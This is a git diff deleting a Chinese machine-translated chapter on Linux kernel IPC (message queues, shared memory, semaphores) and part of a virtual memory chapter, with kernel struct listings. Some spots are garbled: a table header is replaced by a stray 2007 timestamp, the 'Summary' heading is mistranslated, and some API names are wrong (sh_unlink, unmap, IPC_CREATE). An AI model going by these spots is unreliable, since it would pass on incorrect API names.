-进程可以使用以下命令创建和打开 SysV 消息队列: - -```sh - int msgget(key_t key, int msgflg); -``` - -`key`参数是唯一的常量,用作标识消息队列的幻数。 访问此消息队列所需的所有程序都需要使用相同的幻数;此数通常在编译时硬编码到相关进程中。 但是,应用需要确保每个消息队列的键值是唯一的,并且可以使用其他库函数来动态生成唯一键。 - -唯一键和`msgflag`参数值如果设置为`IPC_CREATE`,将导致建立新的消息队列。 有权访问队列的有效进程可以使用`msgsnd`和`msgrcv`例程将消息读或写到队列中(我们在这里不会详细讨论它们;请参阅 Linux 系统编程手册): - -```sh -int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg); - -ssize_t msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, - int msgflg); -``` - -# 数据结构 - -每个消息队列都是通过底层 SysV IPC 子系统枚举一组数据结构来创建的。 `struct msg_queue`是核心数据结构,并且为每个消息队列枚举了它的一个实例: - -```sh - -struct msg_queue { - struct kern_ipc_perm q_perm; - time_t q_stime; /* last msgsnd time */ - time_t q_rtime; /* last msgrcv time */ - time_t q_ctime; /* last change time */ - unsigned long q_cbytes; /* current number of bytes on queue */ - unsigned long q_qnum; /* number of messages in queue */ - unsigned long q_qbytes; /* max number of bytes on queue */ - pid_t q_lspid; /* pid of last msgsnd */ - pid_t q_lrpid; /* last receive pid */ - - struct list_head q_messages; /* message list */ - struct list_head q_receivers;/* reader process list */ - struct list_head q_senders; /*writer process list */ -}; -``` - -`q_messages`字段表示包含队列中当前所有消息的双向链接循环列表的头节点。 每条消息都以报头开头,后跟消息数据;根据消息数据的长度,每条消息可以使用一个或多个页面。 消息标题始终位于第一页的开头,并由`struct msg_msg`的实例表示: - -```sh -/* one msg_msg structure for each message */ -struct msg_msg { - struct list_head m_list; - long m_type; - size_t m_ts; /* message text size */ - struct msg_msgseg *next; - void *security; - /* the actual message follows immediately */ -}; -``` - -`m_list`字段包含指向队列中前一条消息和下一条消息的指针。 `*next`指针引用类型为`struct msg_msgseg`的实例,该实例包含下一页消息数据的地址。 仅当消息数据超过第一页时,此指针才相关。 第二页帧以描述符`msg_msgseg`开始,描述符`msg_msgseg`进一步包含指向后续页的指针,并且该顺序继续,直到到达消息数据的最后一页: - -```sh -struct msg_msgseg { - struct msg_msgseg *next; - /* the next part of the message follows immediately */ -}; -``` - -![](img/00040.jpeg) - -# POSIX 消息队列 - -POSIX 消息队列实现按优先级排序的消息。 发送者进程写入的每条消息都与一个整数相关联,该整数被解释为消息优先级;数字越大的消息被认为优先级越高。 消息队列按照优先级对当前消息进行排序,并按降序(最高优先级优先)将它们传递给读取器进程。 该实现还支持更广泛的 API 接口,包括有界等待、发送和接收操作以及通过信号或线程向接收方发送异步消息到达通知。 - -此实现为`create`、`open`、`read`、`write`和`destroy`消息队列提供了不同的 API 接口。 以下是 API 的概要描述(这里我们不讨论使用语义,更多详细信息请参考系统编程手册): - -| **接口接口** | **说明** | -| `mq_open()` | 创建或打开 POSIX 消息队列 | -| `mq_send()` | 将消息写入队列 | -| `mq_timedsend()` | 类似于`mq_send`,但具有用于有界操作的超时参数 | -| `mq_receive()` | 从队列中获取消息;此操作可以在无界阻塞调用上执行 | -| `mq_timedreceive()` | 类似于`mq_receive()`,但有一个超时参数,可在有限时间内限制可能的阻塞 | -| `mq_close()` | 关闭消息队列 | -| `mq_unlink()` | 销毁消息队列 | -| `mq_notify()` | 自定义和设置邮件到达通知 | -| `mq_getattr()` | 获取与消息队列关联的属性 | -| `mq_setattr()` | 设置在消息队列上指定的属性 | - -POSIX 消息队列由名为`mqueue`的特殊文件系统管理。 每个消息队列由一个文件名标识。 每个队列的元数据由 struct`mqueue_inode_info`的实例描述,该实例表示与`mqueue`文件系统中的消息队列文件相关联的 inode 对象: - -```sh -struct mqueue_inode_info { - spinlock_t lock; - struct inode vfs_inode; - wait_queue_head_t wait_q; - - struct rb_root msg_tree; - struct posix_msg_tree_node *node_cache; - struct mq_attr attr; - - struct sigevent notify; - struct pid *notify_owner; - struct user_namespace *notify_user_ns; - struct user_struct *user; /* user who created, for accounting */ - struct sock *notify_sock; - struct sk_buff *notify_cookie; - - /* for tasks waiting for free space and messages, respectively */ - struct ext_wait_queue e_wait_q[2]; - - unsigned long qsize; /* size of queue in memory (sum of all msgs) */ -}; -``` - -`*node_cache`指针引用`posix_msg_tree_node`描述符,该描述符包含指向消息节点链接列表的标题,其中每条消息由类型为`msg_msg`的描述符表示: - -```sh - - struct posix_msg_tree_node { - struct rb_node rb_node; - struct list_head msg_list; - int priority; -}; -``` - -# 共享内存 - -与提供进程持久化消息传递基础结构的消息队列不同,IPC 的共享内存服务提供内核持久化内存,可以由任意数量的共享公共数据的进程附加。 共享内存基础设施提供了分配、附加、分离和销毁共享内存区域的操作接口。 需要访问共享数据的进程将*附加*或*将共享内存区域*映射到其地址空间;然后,它可以通过映射例程返回的地址访问共享内存中的数据。 这使得共享内存成为 IPC 最快的方式之一,因为从进程的角度来看,它类似于访问本地内存,这不涉及切换到内核模式。 - -# System V 共享内存 - -Linux 支持 IPC 子系统下的遗留 SysV 共享内存实现。 与 SysV 消息队列类似,每个共享内存区域都由唯一的 IPC 标识符标识。 - -# 操作界面 - -内核为启动共享内存操作提供了不同的系统调用接口,如下所示: - -# 分配共享内存 - -`shmget()`进程调用系统调用来获取共享内存区域的 IPC 标识符;如果该区域不存在,它将创建一个: - -```sh -int shmget(key_t key, size_t size, int shmflg); -``` - -此函数返回与*键*参数中包含的值对应的共享内存段的标识符。 如果其他进程打算使用现有段,它们可以在查找其标识符时使用该段的*键*值。 但是,如果*键*参数唯一或具有值`IPC_PRIVATE`,则会创建新段。`size`表示需要分配的字节数,因为段被分配为内存页。 要分配的页数是通过将*大小*值舍入到页面大小的最接近倍数来获得的。\ -`shmflg`标志指定需要如何创建段。 它可以包含两个值: - -* `IPC_CREATE`:表示创建新段。 如果此标志未使用,则查找与密钥值相关联的段,如果用户具有访问权限,则返回该段的标识符。 -* `IPC_EXCL`:此标志始终与`IPC_CREAT`一起使用,以确保在存在*键*值时呼叫失败。 - -# 连接共享内存 - -共享内存区必须附加到其地址空间,进程才能访问它。 `shmat()`被调用以将共享内存附加到调用进程的地址空间: - -```sh -void *shmat(int shmid, const void *shmaddr, int shmflg); -``` - -由`shmid`表示的段由该函数附加。 `shmaddr`指定指示进程地址空间中要映射段的位置的指针。 第三个参数`shmflg`是一个标志,可以是以下之一: - -* `SHM_RND`:当`shmaddr`不是空值时指定,表示将段附加到地址的函数,通过将`shmaddr`值舍入到页面大小的最接近倍数来计算;否则,用户必须注意`shmaddr`与页对齐,以便正确地附加段。 -* `SHM_RDONLY`:这是为了指定只有在用户拥有必要的读取权限时才会读取该段。 否则,将同时授予该段的读写访问权限(该进程必须具有相应的权限)。 -* `SHM_REMAP`:这是特定于 Linux 的标志,指示`shmaddr`指定的地址处的任何现有映射都将替换为新映射。 - -# 分离共享内存 - -同样,要将共享内存从进程地址空间中分离出来,需要调用`shmdt()`。 由于 IPC 共享内存区在内核中是持久存在的,因此即使在进程分离之后,它们也会继续存在: - -```sh -int shmdt(const void *shmaddr); -``` - -位于`shmaddr`指定地址的段从调用进程的地址空间分离。 - -这些接口操作中的每一个都调用在``源文件中实现的相关系统调用。 - -# 数据结构 - -每个共享内存段由`struct shmid_kernel`描述符表示。 此结构包含与 SysV 共享内存管理相关的所有元数据: - -```sh -struct shmid_kernel /* private to the kernel */ -{ - struct kern_ipc_perm shm_perm; - struct file *shm_file; /* pointer to shared memory file */ - unsigned long shm_nattch; /* no of attached process */ - unsigned long shm_segsz; /* index into the segment */ - time_t shm_atim; /* last access time */ - time_t shm_dtim; /* last detach time */ - time_t shm_ctim; /* last change time */ - pid_t shm_cprid; /* pid of creating process */ - pid_t shm_lprid; /* pid of last access */ - struct user_struct *mlock_user; - - /* The task created the shm object. NULL if the task is dead. */ - struct task_struct *shm_creator; - struct list_head shm_clist; /* list by creator */ -}; - -``` - -为了可靠和易于管理,内核的 IPC 子系统通过名为`shmfs`*的特殊文件系统管理共享内存段。* 这个文件系统没有挂载到 rootfs 树上;它的操作只能通过 SysV 共享内存系统调用来访问。 `*shm_file`指针指向表示共享内存块的`shmfs`的`struct file`对象。 当进程启动附加操作时,底层系统调用调用`do_mmap()`以创建到调用方地址空间的相关映射(通过`struct vm_area_struct`),并进入定义的`*shmfs-*``shm_mmap()`操作以映射相应的共享内存: - -![](img/00041.jpeg) - -# POSIX 共享内存 - -Linux 内核通过一个名为`tmpfs`*,*的特殊文件系统支持 POSIX 共享内存,该文件系统安装在`rootfs`*的`/dev/shm`上。* 此实现提供了与 Unix 文件模型一致的独特 API,导致每个共享内存分配由唯一的文件名和索引节点表示。 应用编程人员认为该接口更加灵活,因为它允许标准 POSIX 文件映射例程`mmap()`和`unmap()`将内存段附加和分离到调用方进程地址空间。 - -以下是接口例程的汇总说明: - -| 加入时间:清华大学 2007 年 01 月 25 日下午 3:33 | **说明** | -| `shm_open()` | 创建并打开由文件名标识的共享内存段 | -| `mmap()` | 用于将共享内存附加到调用者地址空间的 POSIX 标准文件映射接口 | -| `sh_unlink()` | 销毁指定的共享内存块 | -| `unmap()` | 从调用方地址空间分离指定的共享内存映射 | - -底层实现类似于 SysV 共享内存,不同之处在于映射实现由`tmpfs`文件系统处理。 - -尽管共享内存是共享公共数据或资源的最简单方式,但它省去了在进程上实现同步的负担,因为共享内存基础结构不为共享内存区域中的数据或资源提供任何同步或保护机制。 应用设计人员必须考虑竞争进程之间共享内存访问的同步,以确保共享数据的可靠性和有效性,例如,防止两个进程同时在同一区域进行写入,限制读取进程等待另一个进程完成写入,等等。 通常,要同步此类争用条件,需要使用另一个称为信号量的 IPC 资源。 - -# 信号量 - -**信号量**是由 IPC 子系统提供的同步原语。 它们为共享数据结构或资源提供了一种保护机制,以防止多线程环境中的进程进行并发访问。 在其核心,每个信号量都由一个整数计数器组成,调用者进程可以自动访问该计数器。 信号量实现提供了两个操作,一个用于等待信号量变量,另一个用于向信号量变量发送信号。 换言之,等待信号量使计数器减少 1,并向信号量发送信号使计数器增加 1。通常,当进程想要访问共享资源时,它会尝试减少信号量计数器。 但是,内核会处理此尝试,因为它会阻止尝试的进程,直到计数器产生正值。 类似地,当进程放弃资源时,它会增加信号量计数器,从而唤醒正在等待该资源的任何进程。 - -**信号量版本** - -传统上,所有`*nix`系统都实现 System V 信号量机制;然而,POSIX 有自己的信号量实现,目的是为了提高可移植性,并调整 System V 版本所携带的一些笨拙的问题。 让我们从查看 System V 信号量开始。 - -# System V 信号量 - -System V 中的信号量并不像您想象的那样只是一个计数器,而是一组计数器。 这意味着一个信号量集合可以包含具有相同信号量 ID 的单个或多个计数器(0 到 n),集合中的每个计数器可以保护一个共享资源,单个信号量集合可以保护多个资源。 帮助创建此类信号量的系统调用如下所示: - -```sh -int semget(key_t key, int nsems, int semflg) -``` - -* `key`用于标识信号量。 如果键值为`IPC_PRIVATE`,则创建一组新的信号量。 -* `nsems`表示信号量集合中需要的计数器数量 -* `semflg`规定应如何创建信号量。 它可以包含两个值: - * `IPC_CREATE:`如果键不存在,它会创建一个新的信号量 - * `IPC_EXCL`:如果键存在,则抛出错误并失败 - -如果成功,调用将返回信号量集标识符(正值)。 - -这样创建的信号量包含未初始化的值,需要使用`semctl()`函数执行初始化。 初始化后,进程可以使用信号量集: - -```sh -int semop(int semid, struct sembuf *sops, unsigned nsops); -``` - -函数`Semop()`允许进程启动对信号量集的操作。 此函数通过名为`SEM_UNDO`的特殊标志提供 SysV 信号量实现所独有的工具,称为**可撤消操作**。 当设置此标志时,如果进程在完成相关的共享数据访问操作之前中止,则内核允许信号量恢复到一致状态。 例如,考虑这样一种情况,其中一个进程锁定信号量并开始对共享数据的访问操作;在此期间,如果该进程在完成共享数据访问之前中止,则信号量将处于不一致的状态,使其不可用于其他争用的进程。 但是,如果进程通过使用`semop()`设置`SEM_UNDO`标志来获得信号量上的锁,则其终止将允许内核将信号量恢复到一致状态(解锁状态),从而使其可供等待中的其他争用进程使用。 - -# 数据结构 - -每个 SysV 信号量集在内核中由类型为`struct sem_array`的描述符表示: - -```sh -/* One sem_array data structure for each set of semaphores in the system. */ -struct sem_array { - struct kern_ipc_perm ____cacheline_aligned_in_smp sem_perm; - time_t sem_ctime; /* last change time */ - struct sem *sem_base; /*ptr to first semaphore in array */ - struct list_head pending_alter; /* pending operations */ - /* that alter the array */ - struct list_head pending_const; /* pending complex operations */ - /* that do not alter semvals */ - struct list_head list_id; /* undo requests on this array */ - int sem_nsems; /* no. of semaphores in array */ - int complex_count; /* pending complex operations */ - bool complex_mode; /* no parallel simple ops */ - }; - -``` - -数组中的每个信号量都被枚举为``中定义的`struct sem`的实例;`*sem_base`指针指向集合中的第一个信号量对象。 ;每个信号量集包含每个正在等待的进程的挂起队列列表;`pending_alter`是类型为`struct sem_queue`的挂起队列的头节点。 每个信号量集还包含每个信号量的可撤销操作。 `list_id`是`struct sem_undo`实例列表的头节点;对于集合中的每个信号量,列表中都有一个实例。 下图总结了信号量集数据结构及其列表: - -![](img/00042.jpeg) - -# POSIX 信号量 - -与 system V 相比,POSIX 信号量语义相当简单。每个信号量都是一个简单的计数器,永远不能小于零。 该实现提供了用于初始化、递增和递减操作的函数接口。 通过在所有线程可访问的内存中分配信号量实例,它们可用于同步线程。 它们还可以通过将信号量放在共享内存中来同步进程。 对 POSIX 信号量的 Linux 实现进行了优化,以便为非争用同步场景提供更好的性能。 - -POSIX 信号量有两种变体:命名信号量和未命名信号量。 命名信号量由文件名标识,适合在不相关的进程之间使用。 未命名信号量只是`sem_t`类型的全局实例;这种形式通常更适合在线程之间使用。 POSIX 信号量接口操作是 POSIX 线程库实现的一部分。 - -| **功能接口** | **说明** | -| `sem_open()` | 打开现有的命名信号量文件或创建新的命名信号量并返回其描述符 | -| `sem_init()` | 未命名信号量的初始值设定项例程 | -| `sem_post()` | 用于递增信号量的操作 | -| `sem_wait()` | 用于递减信号量的操作,当信号量值为零时调用块 | -| `sem_timedwait()` | 使用有界等待的超时参数扩展`sem_wait()` | -| `sem_getvalue()` | 返回信号量计数器的当前值 | -| `sem_unlink()` | 删除由文件标识的命名信号量 | - -# 简略的 / 概括的 / 简易判罪的 / 简易的 - -在本章中,我们讨论了内核提供的各种 IPC 机制。 我们探讨了每种机制的各种数据结构之间的布局和关系,还研究了 SysV 和 POSIX IPC 机制。 - -在下一章中,我们将进一步讨论锁定和内核同步机制。 \ No newline at end of file diff --git a/docs/master-linux-kernel-dev/07.md b/docs/master-linux-kernel-dev/07.md deleted file mode 100644 index f08ffc15..00000000 --- a/docs/master-linux-kernel-dev/07.md +++ /dev/null @@ -1,492 +0,0 @@ -# 七、虚拟内存管理 - -在第一章中,我们简要讨论了一个重要的抽象概念*过程。*我们已经讨论了进程虚拟地址空间及其隔离,并且已经遍历了整个内存管理子系统,并且对进入物理内存管理的各种数据结构和算法有了全面的了解。在本章中,让我们用虚拟内存管理和页表的细节来扩展我们对内存管理的讨论。我们将研究虚拟内存子系统的以下方面: - -* 处理虚拟地址空间及其段 -* 存储器描述符结构 -* 内存映射和 VMA 对象 -* 文件支持的内存映射 -* 页面缓存 -* 带页表的地址翻译 - -# 进程地址空间 - -下图描述了 Linux 系统中典型进程地址空间的布局,它由一组虚拟内存段组成: - -![](img/00043.jpeg) - -每个段被物理地映射到一个或多个线性存储块(由一个或多个页组成),并且适当的地址转换记录被放置在进程页表中。在我们深入了解内核如何管理内存映射和构建页表的全部细节之前,让我们简单了解一下地址空间的每个部分: - -* **栈**是最上面的一段,向下扩展。它包含保存局部变量和函数参数的**堆栈框架**;当进入一个被调用的函数时,会在栈顶创建一个新的框架,当当前函数返回时,这个框架就会被销毁。根据函数调用的嵌套级别,总是需要栈段动态扩展以适应新的帧。这种扩展是由虚拟内存管理器通过**页面错误**处理的:当进程试图触及堆栈顶部的未映射地址时,系统会触发页面错误,由内核处理,检查是否适合扩展堆栈。如果当前堆栈利用率在`RLIMIT_STACK`内,则认为是合适的,扩展堆栈。然而,如果当前的利用率是最大的,没有进一步扩展的余地,则分段故障信号被传送到该过程。 -* **Mmap** 是栈下的一段;该段主要用于将文件数据从页面缓存映射到进程地址空间。该段也用于映射共享对象或动态库。用户模式进程可以通过`mmap()`应用编程接口启动新的映射。Linux 内核还支持通过这个段的匿名内存映射,它作为动态内存分配的替代机制来存储进程数据。 -* **堆**段为动态内存分配提供地址空间,允许进程存储运行时数据。内核提供了`brk()`系列的 API,通过这些 API,用户模式进程可以在运行时扩展或收缩堆。然而,大多数特定于编程语言的标准库都实现了堆管理算法,以有效利用堆内存。例如,GNU glibc 实现了堆管理,为分配提供了`malloc()`系列函数。 - -地址空间的下段- **BSS** 、**数据**和**文本** -与进程的二进制图像相关: - -* **BSS** 存储**未初始化的**静态变量,其值在程序代码中未初始化。BSS 是通过匿名内存映射建立的。 -* **数据**段包含在程序源代码中初始化的全局和静态变量。该段通过映射包含初始化数据的程序二进制映像的一部分来枚举;该映射创建的类型为**私有内存映射**,确保数据变量内存的变化不会反映在磁盘文件上。 -* **文本**段也通过从内存映射程序二进制文件来枚举;该映射属于`RDONLY`类型,导致在尝试写入该段时触发分段故障。 - -内核支持地址空间随机化工具,如果在构建过程中启用,该工具允许虚拟机子系统为每个新进程随机化**堆栈**、 **mmap** 和**堆**段的开始位置。这为进程提供了非常需要的安全性,防止恶意程序注入错误。黑客程序通常用有效进程内存段的固定起始地址进行硬编码;有了地址空间随机化,这种恶意攻击就会失败。然而,根据底层架构的定义,从应用的二进制文件中枚举的文本段被映射到固定地址;这被配置到链接器脚本中,该脚本在构建程序二进制文件时应用。 - -# 进程内存描述符 - -内核在内存描述符结构中维护进程内存段和相应转换表的所有信息,内存描述符结构类型为`struct mm_struct`。过程描述符结构`task_struct`包含一个指向过程内存描述符的指针`*mm`。我们将讨论内存描述符结构的几个重要元素: - -```sh -struct mm_struct { - struct vm_area_struct *mmap; /* list of VMAs */ - struct rb_root mm_rb; - u32 vmacache_seqnum; /* per-thread vmacache */ -#ifdef CONFIG_MMU - unsigned long (*get_unmapped_area) (struct file *filp, unsigned long addr, unsigned long len, - unsigned long pgoff, unsigned long flags); - #endif - unsigned long mmap_base; /* base of mmap area */ - unsigned long mmap_legacy_base; /* base of mmap area in bottom-up allocations */ - unsigned long task_size; /* size of task vm space */ - unsigned long highest_vm_end; /* highest vma end address */ - pgd_t * pgd; - atomic_t mm_users; /* How many users with user space? */ - atomic_t mm_count; /* How many references to "struct mm_struct" (users count as 1) */ - atomic_long_t nr_ptes; /* PTE page table pages */ - #if CONFIG_PGTABLE_LEVELS > 2 - atomic_long_t nr_pmds; /* PMD page table pages */ - #endif - int map_count; /* number of VMAs */ - spinlock_t page_table_lock; /* Protects page tables and some counters */ - struct rw_semaphore mmap_sem; - - struct list_head mmlist; /* List of maybe swapped mm's. These are globally strung - * together off init_mm.mmlist, and are protected - * by mmlist_lock - */ - unsigned long hiwater_rss; /* High-watermark of RSS usage */ - unsigned long hiwater_vm; /* High-water virtual memory usage */ - unsigned long total_vm; /* Total pages mapped */ - unsigned long locked_vm; /* Pages that have PG_mlocked set */ - unsigned long pinned_vm; /* Refcount permanently increased */ - unsigned long data_vm; /* VM_WRITE & ~VM_SHARED & ~VM_STACK */ - unsigned long exec_vm; /* VM_EXEC & ~VM_WRITE & ~VM_STACK */ - unsigned long stack_vm; /* VM_STACK */ - unsigned long def_flags; - unsigned long start_code, end_code, start_data, end_data; - unsigned long start_brk, brk, start_stack; - unsigned long arg_start, arg_end, env_start, env_end; - unsigned long saved_auxv[AT_VECTOR_SIZE]; /* for /proc/PID/auxv */ -/* - * Special counters, in some configurations protected by the - * page_table_lock, in other configurations by being atomic. - */ - struct mm_rss_stat rss_stat; - struct linux_binfmt *binfmt; - cpumask_var_t cpu_vm_mask_var; - /* Architecture-specific MM context */ - mm_context_t context; - unsigned long flags; /* Must use atomic bitops to access the bits */ - struct core_state *core_state; /* core dumping support */ - ... - ... - ... - }; -``` - -`mmap_base`指虚拟地址空间中 mmap 段的开始,`task_size`包含虚拟内存空间中任务的总大小。`mm_users`是一个原子计数器,保存共享该内存描述符的 lwp 的计数,`mm_count`保存当前使用该描述符的进程数的计数,VM 子系统确保只有当`mm_count`为零时才会释放内存描述符结构。`start_code`和`end_code`字段包含从程序的二进制文件映射的代码块的开始和结束虚拟地址。类似地,`start_data`和`end_data`标记从程序的二进制文件映射的初始化数据区域的开始和结束。 - -`start_brk`和`brk`字段表示堆段的开始和当前结束地址;虽然`start_brk`在整个进程生命周期中保持不变,但是`brk`在分配和释放堆内存时会被重新定位。因此,给定时刻活动堆的总大小是`start_brk`和`brk`字段之间的内存大小。元素`arg_start`和`arg_end`包含命令行参数列表的位置,`env_start`和`env_end`包含环境变量的开始和结束位置: - -![](img/00044.jpeg) - -映射到虚拟地址空间中一个段的每个线性存储区域通过类型为`struct vm_area_struct`的描述符来表示。每个虚拟机区域都映射有一个虚拟地址间隔,该间隔包含开始和结束虚拟地址以及其他属性。虚拟机子系统维护代表当前区域的`vm_area_struct(VMA)`节点的链表;该列表按升序排序,第一个节点代表起始虚拟地址间隔,随后的节点包含下一个地址间隔,依此类推。内存描述符结构包括一个指针`*mmap`,它指的是当前映射的虚拟机区域列表。 - -虚拟机子系统将需要扫描`vm_area`列表,同时对虚拟机区域执行各种操作,例如在映射的地址间隔内寻找特定地址,或者附加表示新映射的新 VMA 实例。这种操作可能耗时且低效,尤其是在大量区域被映射到列表中的情况下。作为一种变通方法,虚拟机子系统维护一个红黑树,以便有效访问`vm_area`对象。内存描述符结构包括红黑树`mm_rb`的根节点。通过这种安排,可以通过在红黑树中搜索新区域的地址间隔之前的区域来快速追加新的虚拟机区域;这消除了显式扫描链表的需要。 - -`struct vm_area_struct`在内核头``中定义: - -```sh -/* - * This struct defines a memory VMM memory area. There is one of these - * per VM-area/task. A VM area is any part of the process virtual memory - * space that has a special rule for the page-fault handlers (ie a shared - * library, the executable area etc). - */ - struct vm_area_struct { - /* The first cache line has the info for VMA tree walking. */ - unsigned long vm_start; /* Our start address within vm_mm. */ - unsigned long vm_end; /* The first byte after our end address within vm_mm. */ - /* linked list of VM areas per task, sorted by address */ - struct vm_area_struct *vm_next, *vm_prev; - struct rb_node vm_rb; - /* - * Largest free memory gap in bytes to the left of this VMA. - * Either between this VMA and vma->vm_prev, or between one of the - * VMAs below us in the VMA rbtree and its ->vm_prev. This helps - * get_unmapped_area find a free area of the right size. - */ - unsigned long rb_subtree_gap; - /* Second cache line starts here. */ - struct mm_struct *vm_mm; /* The address space we belong to. */ - pgprot_t vm_page_prot; /* Access permissions of this VMA. */ - unsigned long vm_flags; /* Flags, see mm.h. */ - /* - * For areas with an address space and backing store, - * linkage into the address_space->i_mmap interval tree. - */ - struct { - struct rb_node rb; - unsigned long rb_subtree_last; - } shared; - /* - * A file's MAP_PRIVATE vma can be in both i_mmap tree and anon_vma - * list, after a COW of one of the file pages. A MAP_SHARED vma - * can only be in the i_mmap tree. An anonymous MAP_PRIVATE, stack - * or brk vma (with NULL file) can only be in an anon_vma list. - */ - struct list_head anon_vma_chain; /* Serialized by mmap_sem & page_table_lock */ - struct anon_vma *anon_vma; /* Serialized by page_table_lock */ - /* Function pointers to deal with this struct. */ - const struct vm_operations_struct *vm_ops; - /* Information about our backing store: */ - unsigned long vm_pgoff; /* Offset (within vm_file) in PAGE_SIZE units */ - struct file * vm_file; /* File we map to (can be NULL). */ - void * vm_private_data; /* was vm_pte (shared mem) */ -#ifndef CONFIG_MMU - struct vm_region *vm_region; /* NOMMU mapping region */ - #endif - #ifdef CONFIG_NUMA - struct mempolicy *vm_policy; /* NUMA policy for the VMA */ - #endif - struct vm_userfaultfd_ctx vm_userfaultfd_ctx; - }; -``` - -`vm_start`包含区域的起始虚拟地址(低位地址),是映射的第一个有效字节的地址,`vm_end`包含映射区域以外的第一个字节的虚拟地址(高位地址)。因此,可以通过从`vm_end`中减去`vm_start`来计算映射存储区域的长度。指针`*vm_next`和`*vm_prev`指的是下一个和上一个 VMA 列表,而`vm_rb`元素是代表红黑树下的这个 VMA。`*vm_mm`指针指向进程内存描述符结构。 - -`vm_page_prot`包含区域内页面的访问权限。`vm_flags`是一个位字段,包含映射区域内存的属性。标志位在内核头``中定义。 - -| 标志位 | **描述** | -| `VM_NONE` | 指示非活动映射。 | -| `VM_READ` | 如果设置,映射区域中的页面是可读的。 | -| `VM_WRITE` | 如果设置,映射区域中的页面是可写的。 | -| `VM_EXEC` | 这被设置为将内存区域标记为可执行。包含可执行指令的存储块与`VM_READ`一起设置该标志。 | -| `VM_SHARED` | 如果设置,将共享映射区域中的页面。 | -| `VM_MAYREAD` | 表示可以在当前映射的区域上设置`VM_READ`的标志。该标志用于`mprotect()`系统调用。 | -| `VM_MAYWRITE` | 表示可以在当前映射的区域上设置`VM_WRITE`的标志。该标志用于`mprotect()`系统调用。 | -| `VM_MAYEXEC` | 表示可以在当前映射区域设置`VM_EXEC`的标志。该标志用于`mprotect()`系统调用。 | -| `VM_GROWSDOWN` | 映射可以向下增长;栈段被赋予这个标志。 | -| `VM_UFFD_MISSING` | 该标志设置为向虚拟机子系统指示`userfaultfd`已为此映射启用,并设置为跟踪缺页故障。 | -| `VM_PFNMAP` | 该标志被设置为指示存储器区域通过 PFN 跟踪的页面被映射,这与具有页面描述符的常规页面帧不同。 | -| `VM_DENYWRITE` | 设置为指示当前文件映射不可写。 | -| `VM_UFFD_WP` | 该标志设置为向虚拟机子系统指示`userfaultfd`已为此映射启用,并设置为跟踪写保护故障。 | -| `VM_LOCKED` | 当映射内存区域中的相应页面被锁定时设置。 | -| `VM_IO` | 映射设备输入/输出区域时设置。 | -| `VM_SEQ_READ` | 当进程声明它打算顺序访问映射区域内的存储区域时设置。 | -| `VM_RAND_READ` | 当进程声明打算随机访问映射区域内的存储区域时设置。 | -| `VM_DONTCOPY` | 设置为指示虚拟机在`fork()`禁用复制该 VMA。 | -| `VM_DONTEXPAND` | 设置表示当前映射不能在`mremap()`上展开。 | -| `VM_LOCKONFAULT` | 当页面出现故障时,锁定内存映射中的页面。当进程通过`mlock2()`系统调用启用`MLOCK_ONFAULT`时,设置该标志。 | -| `VM_ACCOUNT` | 虚拟机子系统执行额外的检查,以确保在带有此标志的虚拟机上执行操作时有可用的内存。 | -| `VM_NORESERVE` | 虚拟机是否应该抑制记帐。 | -| `VM_HUGETLB` | 指示当前映射包含巨大的 TLB 页面。 | -| `VM_DONTDUMP` | 如果设置,当前 VMA 不包括在核心转储中。 | -| `VM_MIXEDMAP` | 当 VMA 映射包含传统页面框架(通过页面描述符管理)和 PFN 管理的页面时设置。 | -| `VM_HUGEPAGE` | 当 VMA 标记为`MADV_HUGEPAGE`时设置,以指示虚拟机该映射下的页面必须是透明巨大页面(THP)类型。此标志仅适用于私有匿名映射。 | -| `VM_NOHUGEPAGE` | 当 VMA 标有`MADV_NOHUGEPAGE`时设定。 | -| `VM_MERGEABLE` | 当 VMA 标记为`MADV_MERGEABLE`时设置,这将启用内核同页合并(KSM)功能。 | -| `VM_ARCH_1` | 特定于架构的扩展。 | -| `VM_ARCH_2` | 特定于架构的扩展。 | - -下图描述了进程的内存描述符结构所指向的`vm_area`列表的典型布局: - -![](img/00045.jpeg) - -如这里所描述的,一些映射到地址空间的内存区域是文件支持的(代码区域形成应用二进制文件、共享库、共享内存映射等等)。文件缓冲区由内核的页面缓存框架管理,该框架实现自己的数据结构来表示和管理文件缓存。页面缓存通过`address_space`数据结构跟踪各种用户模式进程到文件区域的映射。`vm_area_struct`对象的`shared`元素将这个 VMA 枚举到与地址空间相关联的红黑树中。我们将在下一节讨论更多关于页面缓存和`address_space`对象的内容。 - -虚拟地址空间的区域,如堆、栈和 mmap,是通过匿名内存映射分配的。虚拟机子系统将代表匿名内存区域的进程的所有 VMA 实例分组到一个列表中,并通过类型为`struct anon_vma`的描述符来表示它们。这种结构能够快速访问映射匿名页面的所有流程虚拟机管理程序;每个匿名 VMA 结构的`*anon_vma`指针都指向`anon_vma`对象。 - -但是,当一个进程分叉一个子进程时,调用方地址空间的所有匿名页面都在写时复制(COW)下与子进程共享。这将导致创建新的虚拟机管理程序(针对子虚拟机管理程序),这些虚拟机管理程序代表父虚拟机管理程序的相同匿名内存区域。内存管理器需要找到并跟踪所有引用相同区域的虚拟机,以便能够支持取消映射和换出操作。作为解决方案,虚拟机子系统使用另一个称为`struct anon_vma_chain`的描述符,该描述符链接一个流程组的所有`anon_vma`结构。VMA 结构的`anon_vma_chain`元素是匿名 VMA 链的列表元素。 - -每个 VMA 实例都绑定到类型为`vm_operations_struct`的描述符,该描述符包含对当前 VMA 执行的操作。VMA 实例的`*vm_ops`指针指向操作对象: - -```sh -/* - * These are the virtual MM functions - opening of an area, closing and - * unmapping it (needed to keep files on disk up-to-date etc), pointer - * to the functions called when a no-page or a wp-page exception occurs. - */ - struct vm_operations_struct { - void (*open)(struct vm_area_struct * area); - void (*close)(struct vm_area_struct * area); - int (*mremap)(struct vm_area_struct * area); - int (*fault)(struct vm_area_struct *vma, struct vm_fault *vmf); - int (*pmd_fault)(struct vm_area_struct *, unsigned long address, - pmd_t *, unsigned int flags); - void (*map_pages)(struct fault_env *fe, - pgoff_t start_pgoff, pgoff_t end_pgoff); - /* notification that a previously read-only page is about to become - * writable, if an error is returned it will cause a SIGBUS */ - int (*page_mkwrite)(struct vm_area_struct *vma, struct vm_fault *vmf); - /* same as page_mkwrite when using VM_PFNMAP|VM_MIXEDMAP */ - int (*pfn_mkwrite)(struct vm_area_struct *vma, struct vm_fault *vmf); -/* called by access_process_vm when get_user_pages() fails, typically - * for use by special VMAs that can switch between memory and hardware - */ - int (*access)(struct vm_area_struct *vma, unsigned long addr, - void 